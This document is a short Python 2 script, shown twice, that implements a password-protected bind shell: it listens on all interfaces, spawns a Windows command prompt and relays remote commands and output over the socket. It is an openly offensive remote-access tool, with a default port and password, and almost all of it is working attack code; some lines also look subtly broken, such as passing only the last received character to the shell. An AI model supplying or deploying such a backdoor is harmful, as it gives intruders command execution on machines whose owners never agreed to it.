- #
- # A simple BindShell in Python
- #
- # Usage : bindshell.py port pass
- #
- import socket, thread, subprocess, sys, time
-
- class BindShell:
- """Simple BindShell avec mdp
- """
- def __init__(self, port, passwd='BindShell'):
- self.passwd=passwd
- self.port=port
- self.running=False
- self.inf=open('log.bl', 'w')
- self.out=open('log.bl', 'r')
- def __wait_for_con(self):
- while self.running==True:
- clientsock, ip=self.sock.accept()
- self.__ident(clientsock)
-
- def __ident(self, sock):
- try:
- sock.send('Simple BindShell by Bl0tCh\r\n\r\nPassword : ')
- pw=''
- while 1:
- msg=sock.recv(1024)
- if(msg[-1]=='\n'):
- if(pw+msg[:-2]==self.passwd) : break
- else : pw=''; sock.send('\r\nRetry : ')
- else:
- pw+=msg
- sock.send('\r\n Identification Ok, switching on ShellBox\r\n\r\n')
- thread.start_new_thread(self.__wait_msg, (sock, self.__make_shell(sock)))
- except:
- sock.close()
-
- def __make_shell(self, sock):
- child=subprocess.Popen('cmd', stdin=subprocess.PIPE,stdout=self.inf, stderr=self.inf)
- time.sleep(0.15)
- self.__output(sock, self.out.read().replace('\n', '\r\n'))
- return child.stdin.write
-
- def __wait_msg(self, sock, shell):
- while self.running==True:
- try:
- cmd=sock.recv(1024)
- except:
- break
- try:
- shell(cmd[-1])
- except:
- continue
- time.sleep(0.15)
- if(self.__output(sock, self.out.read().replace('\n', '\r\n'))==0) : self.running=False; break
- try:
- sock.close()
- except:
- pass
-
- def __output(self, sock , output):
- try:
- sock.sendall(output)
- return 1
- except:
- return 0
-
- def start(self):
- if(self.running==False):
- self.sock=socket.socket(socket.AF_INET, socket.SOCK_STREAM)
- self.sock.bind(('0.0.0.0', self.port))
- self.sock.listen(1)
- self.running=True
- self.__wait_for_con()
-
- def stop(self):
- self.running=False
- self.sock.close()
-
- if __name__=='__main__':
- print 'testing BindShell'
- port, passwd=8888, 'BindShell'
- if(len(sys.argv)!=1):
- try:
- port=sys.argv[1]
- passwd=sys.argv[2]
- except:
- pass
- b=BindShell(port, passwd)
- b.start()
#
# A simple BindShell in Python
#
# Usage : bindshell.py port pass
#
import socket, thread, subprocess, sys, time
class BindShell:
"""Simple BindShell avec mdp
"""
def __init__(self, port, passwd='BindShell'):
self.passwd=passwd
self.port=port
self.running=False
self.inf=open('log.bl', 'w')
self.out=open('log.bl', 'r')
def __wait_for_con(self):
while self.running==True:
clientsock, ip=self.sock.accept()
self.__ident(clientsock)
def __ident(self, sock):
try:
sock.send('Simple BindShell by Bl0tCh\r\n\r\nPassword : ')
pw=''
while 1:
msg=sock.recv(1024)
if(msg[-1]=='\n'):
if(pw+msg[:-2]==self.passwd) : break
else : pw=''; sock.send('\r\nRetry : ')
else:
pw+=msg
sock.send('\r\n Identification Ok, switching on ShellBox\r\n\r\n')
thread.start_new_thread(self.__wait_msg, (sock, self.__make_shell(sock)))
except:
sock.close()
def __make_shell(self, sock):
child=subprocess.Popen('cmd', stdin=subprocess.PIPE,stdout=self.inf, stderr=self.inf)
time.sleep(0.15)
self.__output(sock, self.out.read().replace('\n', '\r\n'))
return child.stdin.write
def __wait_msg(self, sock, shell):
while self.running==True:
try:
cmd=sock.recv(1024)
except:
break
try:
shell(cmd[-1])
except:
continue
time.sleep(0.15)
if(self.__output(sock, self.out.read().replace('\n', '\r\n'))==0) : self.running=False; break
try:
sock.close()
except:
pass
def __output(self, sock , output):
try:
sock.sendall(output)
return 1
except:
return 0
def start(self):
if(self.running==False):
self.sock=socket.socket(socket.AF_INET, socket.SOCK_STREAM)
self.sock.bind(('0.0.0.0', self.port))
self.sock.listen(1)
self.running=True
self.__wait_for_con()
def stop(self):
self.running=False
self.sock.close()
if __name__=='__main__':
print 'testing BindShell'
port, passwd=8888, 'BindShell'
if(len(sys.argv)!=1):
try:
port=sys.argv[1]
passwd=sys.argv[2]
except:
pass
b=BindShell(port, passwd)
b.start()